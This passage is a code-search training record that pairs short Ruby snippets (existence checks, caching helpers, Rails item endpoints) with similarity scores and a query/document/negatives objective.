end", "def exists?\n false\n end", "def exists?\n false\n end", "def has_data\n retVal = false\n data_locations = Array.new()\n\n # if there are outcome data entries defined for the outcome, then return true\n data_entry_ids = OutcomeDataEntry.find(:all, :conditions=>[\"outcome_id=?\",self.id],:select=>[\"id\"])\n #data_entry_ids = data_entry_ids.empty? ? [] : data_entry_ids.collect{|x| x.id}\n \n data_entry_ids.each do |deid|\n unless deid.outcome_data_points.empty?\n retVal = true\n data_locations << \"Descriptive Results\"\n end\n end\n return retVal, data_locations\n end", "def name_exists?\n ensure_data_loaded\n return false unless @exist\n unless @data['name'].nil?\n Puppet.debug \"Deployment found: #{@resource[:name]}\"\n return true\n end\n Puppet.debug \"No deployment matching #{@resource[:name]} found.\"\n false\n end", "def datacenter_exists?(name)\n filter = Com::Vmware::Vcenter::Datacenter::FilterSpec.new(names: Set.new([name]))\n dc_obj = Com::Vmware::Vcenter::Datacenter.new(vapi_config)\n dc = dc_obj.list(filter)\n\n raise format(\"Unable to find data center: %s\", name) if dc.empty?\n end", "def load_project_or_dataset\n self[:dataset].nil? ? load_project : load_dataset\n end", "def exists?()\n end", "def exist?\n # shouldn't force network connections just to check if content exists\n # only check that the path is not empty\n !path.to_s.empty?\n end", "def exist?\n # shouldn't force network connections just to check if content exists\n # only check that the path is not empty\n !path.to_s.empty?\n end", "def exists?\n @exists\n end", "def eager_graph_lazy_dataset?\n self[:key].nil?\n end", "def exists? (name:, database: Arango.current_database)\n args = { name: name }\n result = Arango::Requests::Graph::Get.execute(server: database.server, args: args)\n result.graphs.map { |c| c[:name] }.include?(name)\n end", "def exists?\n @exists == true\n end", "def exist?\n stat ? true : false\n end", "def exists?; end", "def exists? path\n find_blob(full_path(path))\n end", "def exist?\n not self.name.nil?\n end", "def exists?\n if resource[:force] == true\n false\n else\n package = client(resource).package(resource[:group], resource[:name], resource[:version])\n package.is_installed.data\n end\n end", "def data?\n dis_data.any?\n end", "def set_dataset\n\n @dataset = Dataset.find_by_key(params[:id])\n unless @dataset\n @dataset = Dataset.find(params[:dataset_id])\n end\n raise ActiveRecord::RecordNotFound unless @dataset\n end", "def exists?\n true\n end", "def dataset(name)\n self[name] || connection.create_dataset(name)\n end", "def download?\n File.exist?(path) || data.exists? ? false : true\n end", "def set_dataset\n @dataset = Dataset.find_by(key: params[:id])\n @dataset ||= Dataset.find(params[:dataset_id])\n raise ActiveRecord::RecordNotFound unless @dataset\n end", "def exists!\n @exists = true\n end", "def exists?\n validate_directory_structure\n end", "def exists?\n retrieve\n true\n rescue Error::NoSuchKey\n false\n end", "def cluster_initialized?(data_dir)\n ::File.exist?(version_file_for(data_dir))\n end", "def defined_any?\n cassette_records.size > 0\n end", "def test_file_exists?\n\t\tif @test_file_name.nil?\n\t\t\tputs \"No test data given to run. Exiting.\"\n\t\t\texit(0)\n\t\tend\n\tend", "def exists?\n\t\t# Look for cluster\n\t\t@cluster_id = DSMAPIServer.find_server(@resource[:name], @resource[:storagecenter])\n\t\tif @cluster_id == nil\n\t\t\treturn false\n\t\telse\n\t\t\treturn true\n\t\tend\n\tend", "def exists?(data)\n\t\tdata.blank? ? '' : data\n\tend", "def needed?\n !@data.exist? || out_of_date?(timestamp)\n end", "def exists?\n this.count > 0\n end", "def exist?\n @exists\n end", "def exists?\n begin \n CouchDB.get uri\n true\n rescue\n false\n end \n end" ]
[ "0.77756715", "0.76729727", "0.76729727", "0.7485334", "0.7222245", "0.7217729", "0.7126817", "0.70769954", "0.69693553", "0.6865814", "0.68518114", "0.67660475", "0.67051184", "0.6578466", "0.6511874", "0.6496559", "0.6471039", "0.64251673", "0.63682663", "0.634212", "0.6337139", "0.6316414", "0.62357444", "0.62156665", "0.6211785", "0.616491", "0.61508715", "0.61506844", "0.6149726", "0.6137368", "0.6115223", "0.60802186", "0.60698366", "0.6060287", "0.6055146", "0.6024244", "0.6020675", "0.6019886", "0.60083437", "0.5990474", "0.5981626", "0.5979398", "0.5973931", "0.59656996", "0.59580463", "0.59579474", "0.59576046", "0.59504324", "0.59495866", "0.5943571", "0.59435284", "0.5936857", "0.59170634", "0.59094226", "0.58929133", "0.5870195", "0.5865556", "0.5857094", "0.585534", "0.585286", "0.58480656", "0.5844546", "0.5825482", "0.58228314", "0.5817812", "0.5817812", "0.5755452", "0.5751318", "0.5749714", "0.5746354", "0.5743162", "0.57407117", "0.57407117", "0.5739725", "0.5732735", "0.5728809", "0.5726456", "0.5724558", "0.5721708", "0.5721648", "0.57133186", "0.5711611", "0.57109636", "0.57093096", "0.5709159", "0.57002884", "0.56964916", "0.56964207", "0.56956875", "0.5689853", "0.5685996", "0.5685562", "0.5683415", "0.56822526", "0.5681781", "0.5679766", "0.56785667", "0.56765145", "0.5674844", "0.56710505" ]
0.724006
4
TODO: Barf if the value.object_id already exists in the cache.
def set key, value @reverse_cache[value.object_id] = key @cache[key] = value.object_id ObjectSpace.define_finalizer(value, @finalize) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def cache( object = nil )\n return @cache unless object\n @cache[ object.id ] = object\n end", "def cache_value?; end", "def set_object(obj_name,obj)\n key = obj_name.to_s\n raise \"object '#{key}' already exists in context\" if @cache.keys.include?(key)\n @cache[key] = obj\n end", "def cache_key(id); end", "def primary_key_lookup(pk)\n ck = cache_key(pk)\n unless obj = cache_get(ck)\n if obj = super(pk)\n cache_set(ck, obj)\n end\n end \n obj\n end", "def cache(key, auth_object)\n auth_objects_cache[key] = auth_object\n end", "def object_id_cache\n @object_id_cache ||= {\n # appeals: exported_records(Appeal).map { |appeal| [appeal[\"id\"], appeal[\"name\"]] }.to_h,\n orgs: exported_records(Organization).map { |org| [org[\"id\"], org[\"name\"]] }.to_h,\n users: exported_records(User).map { |user| [user[\"id\"], user[\"css_id\"]] }.to_h,\n tasks: exported_records(Task).map { |task| [task[\"id\"], \"#{task['type']}_#{task['id']}\"] }.to_h\n }\n end", "def object_cache_key\n if object.respond_to?(:cache_key)\n object.cache_key\n elsif (serializer_cache_key = (serializer_class._cache_key || serializer_class._cache_options[:key]))\n object_time_safe = object.updated_at\n object_time_safe = object_time_safe.strftime('%Y%m%d%H%M%S%9N') if object_time_safe.respond_to?(:strftime)\n \"#{serializer_cache_key}/#{object.id}-#{object_time_safe}\"\n else\n fail UndefinedCacheKey, \"#{object.class} must define #cache_key, or the 'key:' option must be passed into '#{serializer_class}.cache'\"\n end\n end", "def _set_cached_field(field, value)\n cached_obj = self.class._cache[\"#{object.id}.#{object.updated_at.to_i}\"] || {}\n cached_obj[field] = Rails.cache.fetch([object.cache_key, field]) { value }\n end", "def cache(named_key, object)\n @mutex.synchronize {\n self[named_key] = object\n } \n end", "def object_cache_key\n if object.respond_to?(:cache_key)\n object.cache_key\n elsif (serializer_cache_key = (self.class._cache_key || self.class._cache_options[:key]))\n object_time_safe = object.updated_at\n object_time_safe = object_time_safe.strftime('%Y%m%d%H%M%S%9N') if object_time_safe.respond_to?(:strftime)\n \"#{serializer_cache_key}/#{object.id}-#{object_time_safe}\"\n else\n fail UndefinedCacheKey, \"#{object.class} must define #cache_key, or the 'key:' option must be passed into '#{self.class}.cache'\"\n end\n end", "def set_cache(value); end", "def set_cache(value); end", "def cache_data?(key, obj)\n if(data = @redis.get(key)).nil? # this data is a json\n\n\t\t\tdata = historical_run(key, obj.map()).to_json\n @redis.set(key, data) # redis must cache a json\n @redis.expire(key,14400)\n\t\tend\n\n return JSON.parse(data) # this data must be changed to object\n end", "def lookup(obj, pos)\n @cache[pos][obj.object_id] \n end", "def update_cache(obj)\n save_cache(obj)\n end", "def cache?(key)\n auth_objects_cache.key? key\n end", "def record_cached?(id)\n _record_cache.has_key?(id.to_s)\n end", "def cache_key(record)\n record.object_id\n end", "def cache_key(record)\n record.object_id\n end", "def cache_key(record)\n record.object_id\n end", "def add_to_cache\n redis.hset 'identifiers', self.typed_id, item.typed_id\n redis.sadd 'identifier:' + item.typed_id, self.typed_id\n end", "def cache_set(ck, obj)\n @cache_store.set(ck, obj, @cache_ttl)\n end", "def cached(key)\n return nil unless cache?(key)\n auth_objects_cache[key]\n end", "def load( id, object=nil )\n @cache[id] ||= read(id)\n end", "def _in_cache?(field)\n return false if self.class._cache.blank?\n cached_obj = self.class._cache[\"#{object.id}.#{object.updated_at.to_i}\"]\n cached_obj.present? && cached_obj[field].present?\n end", "def cache_get_pk(pk)\n cache[pk]\n end", "def cache_value(cache_key, value)\n @cached_values[cache_key] = value\n @cached_values\n end", "def get!(key)\n record = object(key)\n return nil unless record\n record.rewrite_cache\n record.value\n end", "def cache_key\n \"me/#{object.id}-#{object.updated_at.utc.to_s(:number)}\"\n end", "def cache_objects_keys\n @object_data[].keys\n end", "def refill\n now = Time.now.to_i\n cache_set.each {|rec|\n ttl = rec[:end_ts].to_i - now\n cache_write( rec[:key], rec[:value], ttl ) if ttl > 0 \\\n if rec[:value] and rec[:value].length > MAX_OBJ_SIZE and ttl > 0\n }\n end", "def cache(named_key, ttl, object)\n @mutex.synchronize {\n self[named_key] = object\n @timestamps[named_key][:ttl] = ttl\n @timestamps[named_key][:expire_type] = :created\n @timestamps[named_key][:is_cache] = true\n } \n end", "def check_cache(type, id)\n end", "def check_cache(type, id)\n end", "def get_by_ued_memcache_key_object\n MemcacheKey.new('user.user_kyc_comparison_detail')\n end", "def cache_object=(new_cache_object)\n @cache_object = new_cache_object\n end", "def force_get(key)\n # Return nothing if not in the cache or it has expired.\n return if key.nil?\n\n entry = @cache[key]\n return unless entry\n entry.object\n end", "def cached_value(name, object=nil, force=false)\n if force || Cache.fetch(name).nil?\n Cache[name] = object\n return_value = yield object\n Cache[name] = return_value if object.nil?\n end\n Cache.fetch(name)\n end", "def primary_key_lookup(pk)\n cache[pk]\n end", "def notCached(obj)\n n = @cache[obj]\n if n\n whdr TYPE_CREF, n\n false\n else\n # Check stream mode, bin and strings only\n unless @stream_mode\n @cache[obj] = @cache.length\n end\n true\n end\n end", "def _cached_field(field)\n cached_obj = self.class._cache[\"#{object.id}.#{object.updated_at.to_i}\"] || {}\n cached_obj[field]\n end", "def lookup_uncached(val); end", "def lookup_uncached(val); end", "def update_cache\n if $redis.set(\"#{self.class.table_name}/#{self.id}\", self.to_json) == \"OK\"\n true\n else\n false\n end\n end", "def check_cache(type, id)\n end", "def cache(data); end", "def put(key, object, ttl = nil)\n @cache[key] = CacheEntry.new(object, ttl) unless key.nil? || object.nil?\n end", "def memcache_key_object\n @m_k_o ||= MemcacheKey.new('ost_price_points.chain_specific')\n end", "def update_cache(ticket, cache)\n cache[ticket[:spacekey]] = ticket[:id] if seen?(ticket, cache)\n cache\n end", "def exists_with_identity_cache?(id)\n !!fetch_by_id(id)\n end", "def cache_key_for_current_user(obj)\n [obj, (obj.user == current_user)]\n end", "def cached?; end", "def cached_set(key, value)\n return unless h = self[:cache]\n Sequel.synchronize{h[key] = value}\n end", "def add(value)\n ensure_cache_path_created\n FileUtils.touch(File.join(cache_path, value))\n end", "def cache_key\n [object, scope]\n end", "def cache_key\n [object, scope]\n end", "def cache_key\n [object, scope]\n end", "def cache_key\n [object, scope]\n end", "def cache_key\n [object, scope]\n end", "def cache_key\n 'SmallStructureSerializer/' + object.cache_key + '/v1'\n end", "def proxyobj_object(id)\n if RUBY_ENGINE == \"jruby\"\n # Because of real concurency, it might take a little while for the object to appear.\n 3.times do\n if obj = @objects[id]\n return obj\n end\n\n sleep 0.01\n end\n else\n if obj = @objects[id]\n return obj\n end\n end\n\n raise \"No key by that ID: '#{id}' (#{id.class.name}) (#{@objects.keys.sort.join(\", \")}).\" unless @objects.key?(id)\n raise \"Object was nil? #{obj} (#{obj.class.name})\"\n end", "def try_with_cache(obj, source, consume_all)\n beg = source.bytepos\n \n # Not in cache yet? Return early.\n unless entry = lookup(obj, beg)\n result = obj.try(source, self, consume_all)\n \n if obj.cached?\n set obj, beg, [result, source.bytepos-beg]\n end\n \n return result\n end\n\n # the condition in unless has returned true, so entry is not nil.\n result, advance = entry\n\n # The data we're skipping here has been read before. (since it is in \n # the cache) PLUS the actual contents are not interesting anymore since\n # we know obj matches at beg. So skip reading.\n source.bytepos = beg + advance\n return result\n end", "def cache(key, value)\n @cache[key] = value\n end", "def save(key, value)\n return if @capacity <= 0\n\n @cache_mutex.synchronize do\n @map.delete(key) if @map.key?(key)\n\n @map[key] = CacheElement.new(value)\n\n @map.delete(@map.first[0]) if @map.size > @capacity\n nil\n end\n end", "def cache_key\n end", "def set_safe(obj,attr,id,value)\n a = try(\"#{CLASSHELPER[obj.to_sym]}.new('#{id}')\") unless a = get_obj(obj,id)\n \n unless [Array,String,Fixnum].select{|type| value.is_a?(type)}.empty?\n try(\"a.#{attr}=#{value.inspect}\")\n else\n puts \"Unknown type to store to cache.(#{value.class})\"\n end\n set_obj_val obj,id,a\n return value\n end", "def ensure_object_cache_exists\n if not File.exist? self.objects_path\n raise ObjectCacheNotFound.new(self.objects_path)\n end\n end", "def set!(value_obj)\n\t\t\tinsist!()\n\t\t\t@lookup[0...-1].inject(@obj_with_keys) { |deep_obj, this_key|\n\t\t\t\tdeep_obj[this_key]\n\t\t\t}[@lookup[-1]] = value_obj\n\t\tend", "def fetch_by_id(id)\n if IdentityCache.should_cache?\n\n require_if_necessary do\n object = IdentityCache.fetch(rails_cache_key(id)){ resolve_cache_miss(id) }\n IdentityCache.logger.error \"[IDC id mismatch] fetch_by_id_requested=#{id} fetch_by_id_got=#{object.id} for #{object.inspect[(0..100)]} \" if object && object.id != id.to_i\n object\n end\n\n else\n self.find_by_id(id)\n end\n end", "def duplicate_object(source_object)\n @duplicated_objects.fetch(source_object) do |key|\n if !@exclusion_set.include?(key)\n source_object.dup.tap do |duplicate|\n @duplicated_objects[key] = duplicate\n duplicate.initialize_duplicate(self, key)\n end\n else\n @duplicated_objects[source_object] = nil\n end\n end\n end", "def update_cache(type, id, data)\n end", "def update_cache(type, id, data)\n end", "def rebuildCacheFor( ticket )\n\t\tpos = @cache_for_id[ ticket.idstring ]\n\t\tif pos \n\t\t\t@cache[ pos ] = ticket\n\t\t\t@updated = true\n\t\t\tsave\n\t\telse \n\t\t\trebuildCache\n\t\tend\n\tend", "def cache_read(obj)\n # This is just a safety check. It can probably be disabled in the future\n # to increase performance.\n if obj.respond_to?(:is_poxreference?)\n # If this condition triggers, we have a bug in the library.\n PEROBS.log.fatal \"POXReference objects should never be cached\"\n end\n @reads[index(obj)] = obj\n end", "def cache; end", "def cache; end", "def cache; end", "def cache; end", "def cache; end", "def cache; end", "def cache; end", "def cache=(_arg0); end", "def cache=(_arg0); end", "def cache=(_arg0); end", "def cache=(_arg0); end", "def _register_in_memory(obj, id)\n @lock.synchronize do\n unless obj.is_a?(ObjectBase)\n PEROBS.log.fatal \"You can only register ObjectBase objects\"\n end\n if @in_memory_objects.include?(id)\n PEROBS.log.fatal \"The Store::_in_memory_objects list already \" +\n \"contains an object for ID #{id}\"\n end\n\n @in_memory_objects[id] = obj.object_id\n @stats[:created_objects] += 1\n end\n end", "def cache_key\n\t [object, scope]\n\tend", "def assign_cached(value)\n uploaded_file = uploaded_file(value)\n set(uploaded_file) if cache.uploaded?(uploaded_file)\n end", "def add_to_asset_ids_cache(source, asset_id)\n self.asset_ids_cache_guard.synchronize do\n self.asset_ids_cache[source] = asset_id\n end\n end", "def set_safe(obj,attr,id,value)\n create_new_object_cache obj\n try(\"@#{obj}s['#{id}'.to_sym]= #{CLASSHELPER[obj.to_sym]}.new('#{id}') unless @#{obj}s['#{id}'.to_sym]\")\n if value.is_a?(Array)\n a = try(\"@#{obj}s['#{id}'.to_sym].#{attr}= #{value.inspect}\")\n elsif value.is_a?(String)\n a = try(\"@#{obj}s['#{id}'.to_sym].#{attr}= '#{value}'\")\n elsif value.is_a?(Fixnum)\n a = try(\"@#{obj}s['#{id}'.to_sym].#{attr}= '#{value}'\")\n else\n puts \"Unknown type to store to cache.(#{value.class})\"\n end\n print \"\\#\" if @debug == true if a\n return value\n end", "def player(obj)\n @cache[obj]\n end", "def set_object_for_id(id, object, expiration = nil, redis_pool = nil)\n object = encode_object_for_redis(object)\n return false if object.nil?\n redis_connection(redis_pool) do |conn|\n conn.setex(key(id), expiration || Sidekiq::Result::DEFAULT_EXPIRATION, object)\n end\n true\n end", "def object_by_id(id)\n idx = id & @mask\n\n if @transaction_stack.empty?\n # The index is just a hash. We still need to check if the object IDs are\n # actually the same before we can return the object.\n if (obj = @writes[idx]) && obj._id == id\n # The object was in the write cache.\n return obj\n end\n else\n # During transactions, the read cache is used to provide fast access\n # to modified objects. But it does not store all modified objects\n # since there can be hash collisions. So we also have to check all\n # transaction objects first.\n if (obj = @transaction_objects[id])\n return obj\n end\n end\n\n if (obj = @reads[idx]) && obj._id == id\n # The object was in the read cache.\n return obj\n end\n\n nil\n end", "def update_values(*args)\n cache_delete\n super\n end", "def update_cache(type, id, data)\n end", "def set_resource(resource_key, id, object)\n resource_cache(resource_key)[id] = object\n end", "def cached?(key)\n false\n end", "def redisize_model value, options = {}, &block\n primary_key = options.fetch(:by_key, self.primary_key).to_s\n key = [\"instance\", name, primary_key, value]\n metakey = [\"meta\", self.model_name.name, primary_key, value]\n\n # binding.pry\n Rails.cache.fetch(key, expires_in: 1.week) do\n if result = block.call\n Redisable.enqueue(:redisize_model_metas, metakey, self.name, Redisable.as_json_for(result), key)\n end\n\n result\n end\n end", "def update_cache\n # Does nothing...up to subclasses to implement.\n end" ]
[ "0.689305", "0.6372419", "0.627967", "0.62704235", "0.6264789", "0.6241681", "0.61904246", "0.6151235", "0.6124853", "0.6118342", "0.60959333", "0.6095859", "0.6095859", "0.6095686", "0.6090118", "0.592281", "0.5881422", "0.584228", "0.5818082", "0.5818082", "0.58088946", "0.580647", "0.5800043", "0.57968223", "0.5785142", "0.5780428", "0.5743194", "0.5740787", "0.57204276", "0.5718275", "0.5714089", "0.5710434", "0.57077074", "0.5704757", "0.5704757", "0.56897163", "0.56839377", "0.5668441", "0.56639", "0.56440103", "0.5641239", "0.5640602", "0.56395733", "0.56395733", "0.5596847", "0.5590435", "0.5587675", "0.5567967", "0.55634695", "0.5563403", "0.5553586", "0.5542582", "0.55233425", "0.55185264", "0.55123997", "0.55110204", "0.55110204", "0.55110204", "0.55110204", "0.55110204", "0.54939705", "0.54924196", "0.5485512", "0.54763794", "0.5466409", "0.5461997", "0.54588526", "0.5442045", "0.5427471", "0.5415388", "0.5408219", "0.5401129", "0.5401129", "0.5399789", "0.5394362", "0.53877395", "0.53877395", "0.53877395", "0.53877395", "0.53877395", "0.53877395", "0.53877395", "0.5383325", "0.5383325", "0.5383325", "0.5383325", "0.53791076", "0.53774154", "0.5372414", "0.53671837", "0.5364285", "0.5352101", "0.5349253", "0.5340593", "0.53345644", "0.53343016", "0.53299356", "0.5329704", "0.5329606", "0.53272897" ]
0.61970407
6
GET /v1/items GET /v1/items.json
def index render json: Item.paginate(page: params[:page], per_page: 25) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @items = Item.find(params[:id])\n render json: @items\n end", "def getItems()\n return mergeWithAPI(@item_json)['data']\n end", "def items\n\t\tresponse = self.get('items').body\n\t\titems = JSON.parse(response)\n\t\tparse_items(items)\n\t\treturn items\n\tend", "def index\n @api_v1_items = Item.all\n render json: @api_v1_items\n end", "def get_item( item )\n @session.base_url = \"http://cl.ly\"\n resp = @session.get( \"/\" + item )\n \n raise ItemNotFound if resp.status == 404\n Crack::JSON.parse(resp.body)\n end", "def item(uuid)\n http.get \"/items/#{uuid}\"\n end", "def get_items\n @items\n end", "def items\n response[\"items\"]\n end", "def list_items( args={} )\n @session.base_url = \"http://my.cl.ly\"\n \n url = \"/items\"\n args.each do |k, v|\n # probably a nicer way to do this\n if url == \"/items\"\n url << \"?#{k.to_s}=#{v.to_s}\"\n else\n url << \"&#{k.to_s}=#{v.to_s}\"\n end\n end\n resp = @session.get( url )\n \n raise AuthorizationError if resp.status == 401\n Crack::JSON.parse(resp.body)\n end", "def get_items\n response_xml = http_get(@client, \"#{xero_url}/Items\")\n parse_response(response_xml, {}, {:request_signature => 'GET/items'})\n end", "def items\n @items ||= items_from_response\n end", "def index\n @items = Item.find(:all, :order => 'id ASC')\n # @items = Item.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end", "def index\n @items = current_user.items\n respond_to do |format|\n format.html\n format.json { render json: @items }\n end\n end", "def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end", "def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end", "def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end", "def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end", "def items\n \tbegin\n \t@categories = Category.all.includes(items: [:dimensions])\n \t@ingredients = Ingredient.actives\n \trender 'api/v1/home/items', status: :ok\n \trescue Exception => e\n \t\terror_handling_bad_request(e)\n \tend\n\n\tend", "def index\n @items = Item.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @items }\n end\n end", "def get_items(product_id, params={})\n self.client.get(\"products/#{product_id}/items\", params)\n end", "def index\n #@items = Item.find_by_user_id(Session[user_id])\n @items = Item.all\n render json: @items\n end", "def show\n authenticate\n list = List.find(params[:id])\n items = list.items\n render json: {\n items: items,\n id: list.id\n }\n end", "def items(); @items || CrateAPI::Items.new(); end", "def show\n item = Item.find(params[:id])\n render json: item\n end", "def index\n @items = Item.found\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end", "def items\n response = @client.request :get, \"#{LISTS_PATH}/#{@id}\"\n raise(StandardError, 'unexpected response') unless response\n response['items']&.map { |i| TodoableItem.new self, i, @client }\n end", "def index\n @items = @deal.items\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end", "def show\n render json: Item.find(params[:id])\n end", "def get_books(response)\n response[\"items\"]\nend", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = Item.all\n end", "def index\n @items = @user.items\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item.to_json() }\n end\n end", "def index\n @items = Item.all\n\n end", "def index\n @items = Item.includes(:user).order(created_at: :desc).all\n render json: @items\n end", "def show\n render json: Item.find(params[\"id\"])\n end", "def path\n \"/{databaseId}/items/list/\"\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def index\n @items = Item.all\n end", "def index\n\t\t@items = Item.all\n end", "def fetch\n result = WebApi.json!('ITFItems_440', 'GetPlayerItems', 1, { :SteamID => @steam_id64 })\n\n @items = []\n result[:items][:item].each do |item_data|\n unless item_data.nil?\n item = TF2Item.new(item_data)\n @items[item.backpack_position - 1] = item\n end\n end\n end", "def item\n @item = Item.find(params[:id])\n end", "def fetch\n result = WebApi.json!(\"IEconItems_#{app_id}\", 'GetPlayerItems', 1, { :SteamID => @steam_id64 })\n item_class = self.class.send :class_variable_get, :@@item_class\n\n @items = []\n result[:items].each do |item_data|\n unless item_data.nil?\n item = item_class.new(self, item_data)\n @items[item.backpack_position - 1] = item\n end\n end\n end", "def index\n @items = Item.all\n end", "def show\n @items = Item.all\n end", "def show\n @item = @deal.items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def show\n# @item = Item.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @item }\n end\n end", "def get_item\n @item = Item.find_by_id(params[:id])\n if @item\n return @item\n else \n render json: {\"message\": {\"type\": \"error\", \"content\": \"The item could not be found!\"}}\n end\n end", "def collection\n return @client.api_helper.collection(\"items\")\n end", "def index\n #@items = Item.all\n end", "def show\n render json: @item\n end", "def index\n @items = Admin::Item.by_agency(@current_agency.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_items }\n end\n end", "def my\n items = current_user.items\n render json: items\n end", "def show\n @item = Item.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json\n end\n end", "def show\n @user=User.find(params[:id])\n @items = @user.items\n end", "def index \n\t\t@items = Item.all\n\tend", "def get_items(response, item_page)\n items = []\n response = response.to_h\n if response.key?('ItemSearchResponse') &&\n response['ItemSearchResponse'].key?('Items') &&\n response['ItemSearchResponse']['Items'].key?('Item')\n response['ItemSearchResponse']['Items']['Item'].each_with_index do |item, pos|\n items << { position: (item_page - 1) * ITEMS_PER_PAGE + pos + 1, data: item }\n end\n end\n items\n end", "def get_list\n \t@items\n end", "def items\n @items\n end", "def items\n @items\n end" ]
[ "0.7773328", "0.7592684", "0.7517988", "0.74378526", "0.7406908", "0.73971874", "0.7386319", "0.7334292", "0.73057455", "0.7289742", "0.7267684", "0.7248754", "0.7241995", "0.72209555", "0.72209555", "0.72209555", "0.72209555", "0.7198973", "0.7184844", "0.71540976", "0.715194", "0.7142559", "0.7141314", "0.7132776", "0.7131291", "0.7033616", "0.7001399", "0.695734", "0.6949904", "0.69209486", "0.69209486", "0.69209486", "0.69209486", "0.69209486", "0.69209486", "0.69209486", "0.69209486", "0.69209486", "0.69209486", "0.69209486", "0.69209486", "0.69209486", "0.69209486", "0.69209486", "0.69209486", "0.69209486", "0.69209486", "0.69209486", "0.69209486", "0.69209486", "0.69209486", "0.69209486", "0.69209486", "0.69209486", "0.6912732", "0.6900651", "0.6870073", "0.6855819", "0.6850858", "0.6838414", "0.6827069", "0.6827069", "0.6827069", "0.6827069", "0.6827069", "0.6827069", "0.6827069", "0.6827069", "0.6827069", "0.6827069", "0.6827069", "0.6827069", "0.6827069", "0.6827069", "0.6827069", "0.6827069", "0.6827069", "0.6827069", "0.6827069", "0.68250746", "0.6806511", "0.6803758", "0.67970926", "0.67919016", "0.6789366", "0.67674196", "0.67641366", "0.67622733", "0.67567635", "0.67546976", "0.6750641", "0.6705947", "0.6704502", "0.67032313", "0.6697616", "0.66933125", "0.6688932", "0.66879135", "0.66764", "0.6660044", "0.6660044" ]
0.0
-1
GET /v1/items/1 GET /v1/items/1.json
def show render json: @item, status: :ok end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
